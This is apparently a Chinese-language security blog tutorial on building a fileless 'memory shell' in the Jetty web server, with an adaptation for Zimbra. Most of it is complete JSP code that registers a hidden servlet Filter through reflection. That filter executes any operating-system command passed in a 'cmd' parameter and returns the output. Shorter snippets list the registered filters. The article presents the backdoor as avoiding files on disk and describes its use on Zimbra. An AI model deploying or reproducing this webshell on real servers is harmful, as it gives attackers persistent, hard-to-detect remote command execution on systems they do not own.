Java利用技巧——Jetty Filter型内存马
0x00 前言
关于Tomcat Filter型内存马的介绍资料有很多,但是Jetty Filter型内存马的资料很少,本文将要参照Tomcat Filter型内存马的设计思路,介绍Jetty Filter型内存马的实现思路和细节。
0x01 简介
本文将要介绍以下内容:
- Jetty调试环境搭建
- 实现思路
- 实现代码
- Zimbra环境下的Filter型内存马
0x02 Jetty调试环境搭建
1.添加调试参数
JDK 8版本对应的调试参数为:java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar start.jar
JDK 9及以上版本对应的调试参数为:java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 -jar start.jar
2.Web目录
位置为: <jetty path>\webapps\ROOT
3.断点位置
选择文件servlet-api-3.1.jar
,依次选中javax.servlet
->http
->HttpServlet.class
,在合适的位置下断点,当运行到断点时,可以查看request对象的完整结构
0x03 实现思路
相关参考资料:
https://github.com/feihong-cs/memShell/blob/master/src/main/java/com/memshell/jetty/FilterBasedWithoutRequest.java https://blog.csdn.net/xdeclearn/article/details/125969653
参考资料1是通过JmxMBeanServer获得webappclassloaer,进而通过反射调用相关方法添加一个Filter
参考资料2是通过Thread获得webappclassloaer,进而通过反射调用相关方法添加Servlet型内存马的方法
我在实际测试过程中,发现通过JmxMBeanServer获得webappclassloaer的方法不够通用,尤其是无法在Zimbra环境下使用
因此,最终改为使用Thread获得webappclassloaer,进而通过反射调用相关方法添加Filter型内存马
0x04 实现代码
1.添加Filter
Jetty下可用的完整代码如下:
<%@ page import="java.lang.reflect.Field"%>
<%@ page import="java.lang.reflect.Method"%>
<%@ page import="java.util.Scanner"%>
<%@ page import="java.util.EnumSet"%>
<%@ page import="java.io.*"%>
<%
String filterName = "myFilter";
String urlPattern = "/filter";
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
};
Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
threadMethod.setAccessible(true);
Thread[] threads = (Thread[]) threadMethod.invoke(null);
ClassLoader threadClassLoader = null;
for (Thread thread:threads)
{
threadClassLoader = thread.getContextClassLoader();
if(threadClassLoader != null){
if(threadClassLoader.toString().contains("WebAppClassLoader")){
Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");
fieldContext.setAccessible(true);
Object webAppContext = fieldContext.get(threadClassLoader);
Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
fieldServletHandler.setAccessible(true);
Object servletHandler = fieldServletHandler.get(webAppContext);
Field fieldFilters = servletHandler.getClass().getDeclaredField("_filters");
fieldFilters.setAccessible(true);
Object[] filters = (Object[]) fieldFilters.get(servletHandler);
boolean flag = false;
for(Object f:filters){
Field fieldName = f.getClass().getSuperclass().getDeclaredField("_name");
fieldName.setAccessible(true);
String name = (String) fieldName.get(f);
if(name.equals(filterName)){
flag = true;
break;
}
}
if(flag){
out.println("[-] Filter " + filterName + " exists.<br>");
return;
}
out.println("[+] Add Filter: " + filterName + "<br>");
out.println("[+] urlPattern: " + urlPattern + "<br>");
ClassLoader classLoader = servletHandler.getClass().getClassLoader();
Class sourceClazz = null;
Object holder = null;
Field field = null;
try{
sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source");
field = sourceClazz.getDeclaredField("JAVAX_API");
Method method = servletHandler.getClass().getMethod("newFilterHolder", sourceClazz);
holder = method.invoke(servletHandler, field.get(null));
}catch(ClassNotFoundException e){
sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source");
Method method = servletHandler.getClass().getMethod("newFilterHolder", sourceClazz);
holder = method.invoke(servletHandler, Enum.valueOf(sourceClazz, "JAVAX_API"));
}
holder.getClass().getMethod("setName", String.class).invoke(holder, filterName);
holder.getClass().getMethod("setFilter", Filter.class).invoke(holder, filter);
servletHandler.getClass().getMethod("addFilter", holder.getClass()).invoke(servletHandler, holder);
Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.FilterMapping");
Object filterMapping = clazz.newInstance();
Method method = filterMapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass());
method.setAccessible(true);
method.invoke(filterMapping, holder);
filterMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(filterMapping, new Object[]{new String[]{urlPattern}});
filterMapping.getClass().getMethod("setDispatcherTypes", EnumSet.class).invoke(filterMapping, EnumSet.of(DispatcherType.REQUEST));
servletHandler.getClass().getMethod("prependFilterMapping", filterMapping.getClass()).invoke(servletHandler, filterMapping);
}
}
}
%>
2.枚举Filter
(1)通过request对象调用getFilterRegistrations枚举Filter
Jetty下可用的完整代码如下:
<%@ page import="java.lang.reflect.Method "%>
<%
ServletContext servletContext = request.getServletContext();
Method m1 = servletContext.getClass().getSuperclass().getDeclaredMethod("getFilterRegistrations");
Object obj1 = m1.invoke(servletContext);
out.println(obj1);
%>
对应命令为:request.getSession().getServletContext().getClass().getSuperclass().getDeclaredMethod("getFilterRegistrations").invoke(request.getSession().getServletContext())
注:
查看servletContext
支持的方法:
<%@ page import="java.lang.reflect.Method "%>
<%
ServletContext servletContext = request.getServletContext();
Method[] methods = servletContext.getClass().getSuperclass().getDeclaredMethods();
for(Method method:methods){
out.print(method.getName() + "<br>");
}
%>
返回结果如下:
createInstance
addListener
addListener
addListener
getFilterRegistration
getFilterRegistrations
setSessionTrackingModes
getEffectiveSessionTrackingModes
getJspConfigDescriptor
getSessionCookieConfig
getDefaultSessionTrackingModes
getServletRegistration
getServletRegistrations
getNamedDispatcher
setJspConfigDescriptor
setInitParameter
declareRoles
destroyFilter
addServlet
addServlet
addServlet
destroyServlet
addFilter
addFilter
addFilter
checkDynamic
(2)通过Thread获得webappclassloaer,通过反射读取_filters属性来枚举Filter
Jetty下可用的完整代码如下:
<%@ page import="java.lang.reflect.Field"%>
<%@ page import="java.lang.reflect.Method"%>
<%
Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
threadMethod.setAccessible(true);
Thread[] threads = (Thread[]) threadMethod.invoke(null);
ClassLoader threadClassLoader = null;
for (Thread thread:threads)
{
threadClassLoader = thread.getContextClassLoader();
if(threadClassLoader != null){
if(threadClassLoader.toString().contains("WebAppClassLoader")){
Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");
fieldContext.setAccessible(true);
Object webAppContext = fieldContext.get(threadClassLoader);
Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
fieldServletHandler.setAccessible(true);
Object servletHandler = fieldServletHandler.get(webAppContext);
Field fieldFilters = servletHandler.getClass().getDeclaredField("_filters");
fieldFilters.setAccessible(true);
Object[] filters = (Object[]) fieldFilters.get(servletHandler);
boolean flag = false;
for(Object f:filters){
out.print(f + "<br>");
}
}
}
}
%>
注:
该方法在Zimbra环境下会存在多个重复结果
0x05 Zimbra环境下的Filter型内存马
在Zimbra环境下,思路同样为使用Thread获得webappclassloaer,进而通过反射调用相关方法添加Filter型内存马
但是由于Zimbra存在多个名为WebAppClassLoader的线程,所以在添加Filter时需要修改判断条件,避免提前退出,在实例代码的基础上直接修改即可
0x06 利用思路
Filter型内存马的优点是不需要写入文件,但是会在服务重启时失效
0x07 小结
本文介绍了Jetty Filter型内存马的实现思路和细节,给出了可供测试的代码,分享了Zimbra环境的利用方法。